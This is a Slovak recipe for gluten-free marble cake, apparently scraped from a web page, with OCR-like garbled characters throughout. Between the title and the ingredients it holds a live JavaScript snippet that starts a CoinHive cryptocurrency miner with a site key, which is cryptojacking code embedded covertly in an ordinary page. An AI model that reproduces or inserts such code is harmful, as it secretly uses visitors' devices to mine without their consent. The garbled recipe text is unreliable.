Bezlepkova babovka

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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4 vajcia, 20 dkg praskového cukru, 20 dkg bezlepkovej muky, 1 prasok do peciva, 1 dcl olej, 1
dcl vody, 1 vanilka, kakao, hrozienka Zitka vymie$ame s cukrom a vanilkou, postupne
priddvame vodu, olej a muku zmieSanu s praskom do peciva. Nakoniec zlahka vmieSame tuhy
sneh z bielkov.

Polovicu cesta vylejeme do vymastenej a mukou vysypanej babovkovej formy, do druhe;
polovice vmieSame trochu kakaa a vylejeme do formy. PeCieme v stredne vyhriatej rure asi 45
minUt (do cesta m6zeme pridat hrozienka, posekané oriesky a pod.). Hotov( babovku mézeme
poliat ¢okoladou.




